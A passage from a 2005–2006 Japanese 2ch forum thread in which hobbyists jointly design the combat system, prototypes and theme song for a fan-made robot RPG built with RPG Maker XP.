闘ではシステムを全く手伝えず申し訳ありません。


925 :587:2005/12/21(水) 22:10:38 ID:wCvpRler
 ともあれあとは、これらの要素を理由付けするステータスを設定してもいいし、直接これ
らの要素をステータスにしてもいいと思います。

 なお、戦闘を長引かせる手段として、敵の命中を下げる方式については自分で提案しなが
ら推奨しません。理由は、相手の強さを実感できないからです。
 アクションゲームなら、敵の破壊力が自機を1撃で破壊しうる攻撃力を持っていて、その
攻撃を全てかわしながらプレイしても、緊迫感は存在します。が、自機の回避率が確率でし
かないRPGでは、強大な攻撃力をもつ相手の攻撃を全てかわしている場合、緊迫感はほと
んどなく、たまにその一撃を受けたとしたら理不尽な不満だけが残るでしょう。
 そう考えると、耐久力と火力のバランスですが、こちらの耐久力を100と仮定したとき
は、雑魚からのダメージは1〜3、強い雑魚の攻撃が5〜6ぐらいだと仮定する。全快状態
ならこちらは20発ぐらい楽勝で耐えられる感覚にしておき、ボスからは10〜15ぐらい
ダメージを受けて7〜8発しか耐えられない、などの設定が必要になると思います。逆に、
こちらは相手を雑魚なら素手で2〜4発、武器使って1〜2発で沈められるけれど、ボス相
手には武器で7〜8発かかる、ぐらいなら爽快感を保ちつつ遊べるかな、と考えます。

 また、武器については、RPGの魔法のようなものをイメージして設定し、弾数制限を付
けるとしても町に戻れば安価に楽に補給できる方がいいと思います。
本心は900さんのように、弾数制限無い方が楽でいいのですけれど。

それから、初っぱなに話そうとして放置していた「複数対複数」戦闘と、現在構想中のシス
テムとの相性ですが、敵が複数になった場合、こちらの距離を外す優位性が薄れるので少し
気になります。それはそれで楽しむ要素になりそうですが。また、敵が前衛後衛に分かれた
とき、こちらは敵前衛をつぶさないと敵後衛に肉薄できないのが普通だと思います。同様に、
こちらも味方が前衛を引き受けてくれるとありがたいとは思うのですが、それを組み入れる
のはものすごく大変そうなので、味方は攻撃支援で定期的に敵にダメージを与えてくれる見
えない砲台のような扱いだと組み込みやすそうですね

926 :名前は開発中のものです。:2005/12/21(水) 22:18:24 ID:eEtlxxSo
絵とか図とか使ってわかりやすく書いてくれ。正直見る気おきない

927 :名前は開発中のものです。:2005/12/21(水) 22:43:20 ID:G/iCQILF
見出しをつけてはどうでしょうか

928 :8 ◆jS1vbFJDVk :2005/12/22(木) 01:54:41 ID:5HwuFyaK
>>916
なるほど。移動力で攻撃の優先権を勝ち取る訳ですね。
あえて敵を移動させて、どこからでも打ち返せる改造をするか。
それとも、自分の最適な射程へ迅速に移動するか。
アクティブ式にねじ込むこともできなくはなさそうですし、
練り込む余地のある面白いアイデアじゃないでしょうか。
>>917
その通りです…ばらまくような使い方する弾丸は安くてもいいか。
>>920
期待されてます。ダメージ計算式はとにかくシンプルにするつもりです。
そのほうが遊ぶ方も作る方もやりやすいと思いますし。
というか、そうしないと短期更新ができない。
>>921-925
お久しぶりです。相変わらず、長いですね。

一つ意見を言わせてもらうならば…戦闘時間の長さで
ろぼだまの面白さが決まるとは、俺は思いません。
火力を上げてボスを一撃必殺したいなら、そうすればいいんです。
もちろん、回避能力を鍛えてチクチク戦うのも大いに結構。
それがロボットを改造して戦うってことだと思うので。大切なのは、
そうしなければ勝てないバランスじゃなければいいんですよ。

929 :8 ◆jS1vbFJDVk :2005/12/22(木) 02:02:04 ID:5HwuFyaK
とりあえず、今年中になんとかプロトタイプbを更新します。
内容は今までの戦闘に>>915のパラメータを実装したものなので、
大きな内容の変化がある訳ではありませんが。

できればロボスレ1周年までには戦闘の基礎を完成させたいところです。
あと1ヶ月とちょっと、お付き合いください。

930 :名前は開発中のものです。:2005/12/22(木) 05:49:05 ID:8bJVq1si
>>戦闘時間の長さでろぼだまの面白さが決まるとは、俺は思いません。

これは同意なんだが

>>火力を上げてボスを一撃必殺したいなら、そうすればいいんです。

これはどうだろう
一過性の極端な努力でボスを瞬殺できる火力を身につけられてしまうと、その後特に何も考えずともゴリ押しでゲームを進められるようになってつまらんと思う。
逆に、ボスがどんどん強くなって、火力アップのための努力を何度もしなくてはならないのも辛い。

改造次第でロボがどこまでも強くなる!てのには大いに魅力を感じるのだけれど...
いやはや 戦闘に柔軟性をもたせるってのは難しい事なんですな

それにしても587氏GJ
かつてここまで合理的にシステムを考えた猛者はおるまい


931 :910:2005/12/22(木) 12:48:29 ID:8m+ajgqO
>>928
アクティブにねじ込むなら、双方同時移動→攻撃ってわけにはいかないだろうから、
次のような手順がいいかな。

○アクティブ手順
コマンド入力:使用する武器を選択
 ↓
自動移動:攻撃対象と移動力を比べ、勝ったら相対距離を自分の射程に
移動修正:自動移動の結果(どの程度勝ったか)から、攻撃修正を算出
 ↓
攻撃:攻撃対象に対する攻撃を判定

移動に注力しすぎる状況だと、攻撃がおろそかになるという感じ。
移動判定に現在の相対距離から目標の相対距離への差による修正も入れた方がいいね。

932 :名前は開発中のものです。:2005/12/22(木) 15:32:02 ID:tPhZb0tI
ついていけないんですがどうしたらいいの?


933 :名前は開発中のものです。:2005/12/22(木) 15:59:30 ID:06QoMdfV
右上の×印をクリックするといいよ

934 :8 ◆jS1vbFJDVk :2005/12/22(木) 19:24:10 ID:QpXn25U1
日曜まで留守にします。その前に終わってよかったb更新。
ttp://emps.rash.jp/up/src/up0041.zip
操作方法が変わっているので、親友のアドバイスを
しっかり聞いてから戦ってください。

>>930
つまらなくなるような改造をする方が悪い。以上。
…と、切り捨てるのもあたたかくないので何か対策を考えないと。
そうですね、パーツの改造ランクが高ければ高いほど
修理費や維持費も高くつくようになって、財政難…とか。
ほかにも何かいいアイデアはないものか。
>>931
移動中の敵にあわせて武器を選んで移動して、その後で
移動修正を考えるとまた別の武器の方が…ううむ。
すみません、面白そうですが作る手間を考えると無理っぽい。
俺のやりやすい形に噛み砕いて実装されても怒らないでください。
いや、実装するかどうかも怪しい段階ですけど。
>>932
どのへんでついていけなくなってるのか教えてください。

今回のb更新で今年のうpは本当に最後です。かなりがんばった。
これで感想がなかったら来年はいなくなるかもしれないので
一言でもいいので感想お願いします。バグ報告もよろ。

935 :910:2005/12/22(木) 21:35:09 ID:8m+ajgqO
>>934
敵が移動中に移動ってことはないと思うんだが。
毎ターン(ループ)ごとにプレイヤー側処理→エネミー側処理でしょ、これ。
コマンド選択中と実行中に敵動かないよね。

>931はb-3の戦闘に組み込むように考えてください。
b-4の戦闘に組み込むなら……と考えたけどイマイチだった。
つか大幅に変わってるじゃねーですか。

感想を言わせてもらうと、移動とその他の操作系が違うところに物凄く違和感を感じる。
上下→移動
左右→コマンド選択(アイコンとか表示しておく)
A→コマンド実行
とかでいいんじゃなかろか。あと、メッセージ表示にも工夫が欲しい。

>俺のやりやすい形に噛み砕いて実装されても怒らないでください。
単なる思いつきなのでそれは気にしないで。イベントで組むとめんどくさそうだしね。

936 :JUN ◆ylCNb/NVSE :2005/12/22(木) 22:55:49 ID:UDir2XMF
2005年最後の更新お疲れさまです!GJ!
自分も一年のシメに、主題歌をupしときます。

今年の夏から作ってる物ですが、まだまだ未完成です。
形は大方出来上がってますが、細部はまだまだ作り込みの余地あり...オケの音色を奇麗に聞かせるのが、今後の大きな課題です。
あと、これにヴォーカルが乗りますが、録音にとても難航してます。難しい。

ぜひ聞いてみてください。そして感想などいただきたい。
皆さんのGJ!はネタ職人の糧です。
来年もよろしくおねがいします!

【ろぼだま!〜ぼくらのロボット戦記〜】
http://www.yonosuke.net/dtm/5/13690.mp3

937 :JUN ◆ylCNb/NVSE :2005/12/22(木) 23:00:47 ID:UDir2XMF
ろぼだま!〜僕らのロボット戦記〜
作詞:スレの方々
作曲:JUN

輝く希望 そっと胸に秘めて
振り向かないで ただ歩き出せばいい

まっ白な地図 そっと握りしめて
どこかに埋もれてる ガラクタを探しに

サビついたギア 壊れたエンジン
くじけそうな心
かなぐり捨てて スパナを握れ
勇気だして

熱いハート 鋼のボディーに 宿して
つかめ 明日を 夢を

光れろぼだま!ぼくらは夢をつかむ
どんな悪も きっと打ち砕け!
唸れろぼだま!きみとなら行ける
はてしない荒野へ 踏み出そう

ぼくらの ロボット戦記!!

☆みんなで覚えて歌ってみよう!


938 :名前は開発中のものです。:2005/12/22(木) 23:19:07 ID:eNcj94pX
なんか読んでると「戦闘システムの選択肢が多すぎて絞り込めない」感じだな。

あくまで仮の極端な例として、
奇天烈かつ絶妙バランスが超COOLなんだろうが、
最初からそういうところを狙うのはあまりにも危険だ。

最小限に絞り込んで、アリエナエイくらいオーソドックスにしてみたらどう?
そこから戦闘システムを改変していっても、
そこまで積み上げていった資源(絵とか効果音とか?)は活きるので、
必ずしも遠回りではないと思う。

939 :587:2005/12/23(金) 03:13:02 ID:u4zvswNX
587です。長いと誰もが困るので短めに。
>8さん
バージョンアップお疲れ様です。十分に遊べる仕様になりつつあると思います。
この状況に、回復行動さえ加えたら、あとはステータス調整でゲームになると思うのは私だけですか?
システム上の困難を抱えてまで回復無しにする理由を見いだせないのですけれど、他の方はどうでしょう。

□移動行動を回避と連動しているアクティブゲームの例
パンツァードラグーンRPGアゼル 
・ドライブゲージが3本有り、ゲージ1消費の行動をするか3消費の大きな行動をとるかの戦略性もある。一応、前例はありますが、3Dゲームで左右への回り込み回避です。調整はとても難しいと感じています。

940 :名前は開発中のものです。:2005/12/23(金) 08:04:06 ID:SJl2J+3J
ろぼだま!〜8のロボットRPG〜
作詞:俺
作曲:JUN

輝く希望 そっと胸に秘めて
振り向かないで ただツクり出せばいい

ツクールXP そっと握りしめて
どこかに忘れてる イベントを作りに

サビついた動き(ギア) 壊れた先人(エンジン)
くじけそうな心
かなぐり捨てて ツールを握れ
勇気だして

熱いハート 鋼のボディーに 宿して
つかめ 明日を 夢を

光れろぼだま!ぼくらは夢をつかむ
どんなエターナル(悪)も きっと打ち砕け!
唸れろぼだま!きみとなら行ける
はてしない荒野へ 踏み出そう

ぼくらの ロボットRPG!!

☆みんなで覚えて歌ってみよう!


941 :ドリームリーダー763:2005/12/23(金) 15:36:15 ID:sm1+uDT2
>>940
おれが いないじゃないか !!

942 :910:2005/12/23(金) 17:21:10 ID:z6bHQtQK
>>939
>回復無しにする理由を見いだせないのですけれど、他の方はどうでしょう。
どっちもどっちだと思います。

回復無しにする理由は世界観の一点だけしか見いだせません。
まとめサイトのログを見る限り「戦闘中に修理できるヒマはない」のようですから、
戦闘外での回復禁止までは言っていないと理解しています。

>922での「回避・回復等により被ダメージを軽減し戦闘時間の延長に耐える」は、
「戦闘中は回避/戦闘外では回復により、戦闘外を含めた戦闘時間の延長に耐える」
(言い換えれば街での補給から次の補給までにどれだけ無補給で連戦できるか)
というレベルの話にできるかと思います。
「回復の必要に迫られるたびに擬似的な敗北を感じる」と言うのは
「ボス戦で敗北するたびに敗北を感じる」と素直な演出でもいいでしょう。
>924に関しては、例示のようなバランス計算に、回復期待値を含めることになるだけだと思います。
一回の戦闘でのバランス計算では、単なるマージンとして無視する手もありますが、
無補給中の連戦というレベルで考えると結局同じことで、
むしろ戦闘中回復禁止の方が計算が楽になるかもしれません。

結果として、回復有りにする理由も、
ボス戦を長期化した演出ができることにしかメリットを見いだせません。

943 :名前は開発中のものです。:2005/12/24(土) 01:29:22 ID:pEJabe9d
>>934
動くロボかっこいい

気になったので決定ボタンで攻撃できるようにこれを改造。汚くしてすまぬ
ttp://emps.rash.jp/up/src/up0042.zip
戦略性を出すのって難しいね
HPの情報や演出効果ももっと加えた方が良さそう
そういうのは基本システムが決まってからだろうけど

944 :587:2005/12/24(土) 06:56:48 ID:wzsHQQlq
□回復の件について
>>942
910さんの意見でよくわかりました。通常時に回復はあるので、継戦能力を「何回の戦
闘に耐えられるか」と把握すればいいわけですね。お騒がせして失礼しました。
結局、8さんが作るわけなので、混乱するような余計な口出しはやめておきます。重
ねてお詫び。

□武器選択=自動距離選択方式について
自説ばかり書いていてコメント無しで失礼してます。
タクティクスオウガなどで自分の番が来たら遠距離型は距離を取って攻撃する行動、
を自動で実行する方式ですね。格闘攻撃なら勝手に近寄って殴るモーションが入るな
どの演出もあちこちでよく見ますね。ただ、お互いが最適位置で攻撃、なら楽ですが、
お互いの移動力を比べて、完全に勝てないときは双方が自分の目標距離ではない相対
距離をもとに命中修正がでて判定、となると式はともかく作る側の手間がありそうで
すね。プレーヤーへの情報提示も難しいし、今ある形を変えて行かなきゃいけないし。


>>943の方
ツクールユーザーの方なら、手伝ってもらえるとものすごくありがたいのではないで
しょうか。

945 :910:2005/12/24(土) 18:45:03 ID:TD0ET1Xj
>>944
手間は実際作る人が考えないと結局正確にはわからないので、
自分でやるなら手間じゃない程度にしか考えてないよ。
逆に言うとその判断は実際に作る8さんに任せたいし、任せるしかない。

まあ、イベントで作るとなんにしろ手間だと思うけどね。

946 :8 ◆jS1vbFJDVk :2005/12/25(日) 04:15:31 ID:NPwkj0sM
ただいま。今スレに追いついた。
>>935
では、自動移動はゆるめに組み込んでいきたいと思います。
操作系統とメッセージはこっちでも修正するので来年まで待ってください。
>>936-937
乙です!あとは歌ですね。
>>938
今の仕様はかなり絞り込んでありますが、このくらいってことですか。
まだ複雑?それとも不足してる要素あり?
>>939
サンクス。次はフィールドでの回復を実装予定。
回避運動は今のところ盛り込めるかわかりません。
>>940
GJ元気出た。
>>941
いるならb4の感想を…ねえ…
>>942
回復要素のまとめ乙。ろぼだまはフィールドでの回復がメインですね。
ロボなのでバラして組み直したり、時間かかるでしょうし。
>>943
おおう、スクリプト追加されてますがな。ゆえにわからん…!
ここが理解できれば意見も言いやすいのですが。

947 :8 ◆jS1vbFJDVk :2005/12/25(日) 04:24:23 ID:NPwkj0sM
続けます。
>>944
無問題。むしろ口出し大歓迎。
移動力勝負が「引き分け」のときの判定ですが、
そういうときは双方無傷でいいかと。
>>945
正直な話、>>943さんの取り組みは非常に助かります。
が!スクリプトで組まれると今の俺では修正ができないので
そういう意味では不便です…勉強不足スマソ

948 :ドリームリーダー763:2005/12/25(日) 04:56:11 ID:3goHeiWs
>>946
あ、ごめん。
大分戦闘っぽくなってきたね。
多対多になったときにどうなるのか良く分からんけど
あとは
メニュー開く→選択→行動
の手間を少なくすることくらいかなぁ>>943さんの見たいな感じに。
ていうかコノの人クミとクm
あと最大距離とか短いと思うんだけどどうだろう?
演出とかグラフィックだと
>>943さんのでとレバーは良い感じだけどもスイッチがまさに
ttp://kor-kobo.web.infoseek.co.jp/URA_UHEEI/GUNDAM/GAN_003.jpg
見たいでいささかダサいかなぁ?
「格闘・射撃・防御」見たいな文字表記で良いと思うなぁ
それと格闘選択時にファイティングポーズの腕、射撃時に銃、防御時に盾とか表示すると操縦感出そう。
あと被ダメージの時のゆれは縦揺れでもっと早いほうが良いと思う

949 :8 ◆jS1vbFJDVk :2005/12/26(月) 00:24:04 ID:pQsTK6q+
>>948
意見サンクス。対多数の実装はまだ想定外です…
今のところはドラクエ1のようにタイマンオンリーで。
レンジはいくらでも長くできるので、次もう少しのばします。

次の実装課題は戦闘中のメニューまわりでしょうか。
>>943さんには申し訳ありませんが、演出を含めて
イベントのみで組んで来年うpしようと思います。
助けは欲しいけど、基礎の部分は自分が理解できるやり方で
積み上げていかないとダメだと思うので。

950 :名前は開発中のものです。:2005/12/26(月) 00:29:58 ID:5HJhve7i
すっげえ 
待望のはずの主題歌up 完全スルーだw
音師乙

951 :名前は開発中のものです。:2005/12/26(月) 00:32:21 ID:ImJEtBRo
私は、スルーしたい気持ちがよく分かります。

952 :名前は開発中のものです。:2005/12/26(月) 01:51:03 ID:mxcP8ZZ+
っつかな...
もう要求されてないものを無理矢理ここで晒すのやめたら?

1)特に誰も待ってない ネタが上げられても嬉しくない(特に今はバトルの話してるんだから、むしろ邪魔では?)
2)mp3で挙げられても使いようが無い MIDI化の手間をかける位なら他の人に頼んだ方が早いだろ 音師いっぱいいるんだから
3)クォリティが低い JUNさん、これほんとに良い物と思ってあげてます? 一度他の人に聞いてもらってから出した方がいいと思いますよ。 

空回りしすぎ。だいたいゲームに曲付けるってより、自分で適当に作った曲をむりやりゲームにこじつけてるだけじゃん
つまりは空気嫁ってことだよ

953 :名前は開発中のものです。:2005/12/26(月) 02:06:11 ID:bal1z7r/
>>952
いや言いすぎだろ。
素材はないよりあった方がいいし、
音師いっぱいいるってそんなにいたっけか?
つかクオリティ別に低くないし。
戦隊モノの良いテーマソングじゃないか
まあこの後歌がヘボかったらすべて台無しだけど。

つまりオマイも俺もJUNも空気嫁

954 :名前は開発中のものです。:2005/12/26(月) 02:29:07 ID:KTWlhjfl
>>952
≫ 2)mp3で挙げられても使いようが無い
いつからツクールってMP3使えなくなったの?

955 :名前は開発中のものです。:2005/12/26(月) 12:13:13 ID:Iv4TMQtB
まあチャットに出てる人はインスト版のフルバージョンをずっと前から聴いてるからね。
それ以外から反応がない理由はよくわからんけど。

956 :910:2005/12/26(月) 15:58:28 ID:vEeMyWTT
>>952
そりゃ言い過ぎだ。

ボーカルパートの出来に疑問があったが
「まだまだ未完成」と言ってたし、オレが新参者なのでスルーしてた。

957 :名前は開発中のものです。:2005/12/26(月) 17:07:37 ID:L5qz59zk
ヴォーカルねえ...
不安

958 :名前は開発中のものです。:2005/12/26(月) 17:33:12 ID:B40SvZio
ただの高校生の俺がやろうか?

ってのは冗談だが有志を募れば可能だろう。

959 :名前は開発中のものです。:2005/12/26(月) 17:37:20 ID:L5qz59zk
ヴォーカルはもう雇ったんでしょ?
一時期さんざん騒いでたな

正直曲は悪くないと思う。オケとバンドっていう、アニメ主題歌の王道の編成で上手く作ってるなあって感じ。
ただ、ヴォーカル入ってみないと解らないけど、ちょっとスカスカな気がする。

まあヴォーカル次第だな。上手い歌なら神曲になる可能性大

960 :ドリームリーダー763:2005/12/26(月) 23:24:43 ID:IUQUdRwl
クリスマスでもお年玉でもない半端な時季に更新
http://emps.rash.jp/up/src/up0044.zip
スキル、格闘ヒット時のヒットバックとか色々追加!
スキルは体力を消費して使用
効果は以下の通り
炸裂掌底!/通常の3倍ヒットバックする
七転八倒!/通常の3倍敵のバランスを悪くする
集中射撃/命中率が1,2倍になる
精密射撃/単発銃器武器で敵が射程内時に使用可能 必中+敵防御無視
体力が減ると命中率、回避率が下がるので注意

961 :名前は開発中のものです。:2005/12/27(火) 07:52:39 ID:YDnK7dtj
>>960
けっこう面白い。七転八倒の意味がいまいちわからんけど...

でも、これなんなの?本編の戦闘とは違うっぽいけど

962 :名前は開発中のものです。:2005/12/27(火) 11:45:03 ID:BkLgvsy7
959叱咤か

963 :8 ◆jS1vbFJDVk :2005/12/28(水) 03:42:09 ID:VgzIz+Rz
>>960
いろいろいじってたらこんな時間…ともかく、GJ!
スキルのおかげでかなり進歩した印象。
たまに出現するキングゴーレムテラツヨス

964 :名前は開発中のものです。:2005/12/29(木) 07:26:21 ID:SLIGe0sO
>>963
初作品のうp頼むよ

965 :8 ◆jS1vbFJDVk :2005/12/30(金) 05:59:33 ID:P3wBeaix
そろそろ次スレの季節でしょうか。
というわけで誰かお願いします…他力本願スマソ


1 ◆9mfk.Z6Wmcさんが立ち上げた案でロボットRPGを皆で作ろう!

初代スレ
http://game9.2ch.net/test/read.cgi/gamerpg/1107090964/
2代目スレ
http://game10.2ch.net/test/read.cgi/game/1108379171/
3代目スレ
http://pc8.2ch.net/test/read.cgi/gamedev/1112843375/
4代目スレ
http://pc8.2ch.net/test/read.cgi/gamedev/1124175949/
・sage進行
・制作はRPGツクールXP
・現在の状況などはまとめサイトや前スレを参照のこと
・基本的なスタンスは「来るもの拒まず」

まとめサイト(うpろだ、外部掲示板あり)
http://www.geocities.jp/robotrpg2ch/
wiki
http://emps.rash.jp/wiki/index.php?FrontPage

966 :zk ◆PPcELrLkWg :2005/12/30(金) 17:29:24 ID:Wdp0VAUp
>>940の歌を忘れてるYO

しばらく修行します。絵の勉強してきまっす。

967 :8 ◆jS1vbFJDVk :2005/12/31(土) 23:06:11 ID:6NmZTmJ+
年越し保守。

968 :zk ◆PPcELrLkWg :2006/01/01(日) 23:22:48 ID:v+J4uULF
新年保守

969 :名前は開発中のものです。:2006/01/02(月) 23:21:49 ID:Z+nxXUx9
http://pc8.2ch.net/test/read.cgi/gamedev/1136211655/
立てたよ

970 :8 ◆jS1vbFJDVk :2006/01/02(月) 23:55:16 ID:4hlAZ2VQ
>>969
ありがとうございます!2006年もこれで大丈夫…のはず。

971 :zk ◆PPcELrLkWg :2006/01/04(水) 15:43:37 ID:D2kI8ETO
埋めごろですか?

972 :名前は開発中のものです。:2006/01/04(水) 17:34:51 ID:TBU4K/3e


973 :名前は開発中のものです。:2006/01/04(水) 21:11:20 ID:TBU4K/3e


974 :名前は開発中のものです。:2006/01/04(水) 21:39:55 ID:TBU4K/3e


975 :名前は開発中のものです。:2006/01/04(水) 22:12:18 ID:TBU4K/3e


976 :8 ◆jS1vbFJDVk :2006/01/04(水) 22:15:30 ID:WKnH2O3L


977 :名前は開発中のものです。:2006/01/04(水) 22:59:14 ID:sUCkETmS


978 :名前は開発中のものです。:2006/01/04(水) 23:00:27 ID:foOjA0Xu


979 :いつかの190:2006/01/04(水) 23:47:20 ID:1k47DKdX
埋め。生きてます。

980 :8 ◆jS1vbFJDVk :2006/01/05(木) 01:24:21 ID:lgCtACHJ
>>979
お久しぶりです。今年もよろしく。

981 :名前は開発中のものです。:2006/01/05(木) 13:45:14 ID:GHv7yOLH
>>978
ゴールキーパー乙

982 :名前は開発中のものです。:2006/01/05(木) 20:04:33 ID:8alfl/IP


983 :名前は開発中のものです。:2006/01/06(金) 06:59:24 ID:zSlJc/4j


984 :名前は開発中のものです。:2006/01/06(金) 09:04:20 ID:/178beec
なかじ

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